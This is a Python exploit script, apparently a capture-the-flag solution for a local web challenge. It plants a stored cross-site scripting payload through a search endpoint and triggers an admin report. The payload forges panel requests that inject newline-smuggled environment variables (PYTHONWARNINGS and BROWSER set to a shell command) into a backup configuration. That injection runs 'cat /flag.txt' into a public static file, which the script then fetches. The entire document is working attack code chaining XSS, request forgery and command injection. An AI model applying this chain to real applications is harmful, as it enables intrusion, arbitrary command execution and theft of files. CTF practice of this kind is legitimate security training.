exploit.py

import requests
import time

PAYLOAD = """<script>
fetch('/panel', {
    method: 'POST',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    credentials: 'include',
    body: 'action=update_config&backup_server=backup.libraryvault.local%5C%27%0A%5C&archive_path=%2Ftmp%2Farchives%5C%27%0APYTHONWARNINGS%3Dignore%3A%3Aantigravity.Foo%3A%3A0%0ABROWSER%3D%2Fbin%2Fsh+-c+%22cat+%2Fflag.txt+%3E+%2Fapp%2Fstatic%2Fmaninos.txt%22+%25s%0A%5C'
}).then(() => {
    return fetch('/panel', {
        method: 'POST',
        headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        credentials: 'include',
        body: 'action=run_backup'
    });
});
</script>"""

requests.get("http://127.0.0.1:1337/search?query=I%20BELEIVE%20IT%20DOESNT%20WORK", data={"query": PAYLOAD})
requests.get("http://127.0.0.1:1337/search?query=I%20BELEIVE%20IT%20DOESNT%20WORK", data={"query": PAYLOAD})
requests.post("http://127.0.0.1:1337/api/report")

print("Waiting 10 seconds...")
time.sleep(10)

flag = requests.get("http://127.0.0.1:1337/static/maninos.txt").text
print(flag)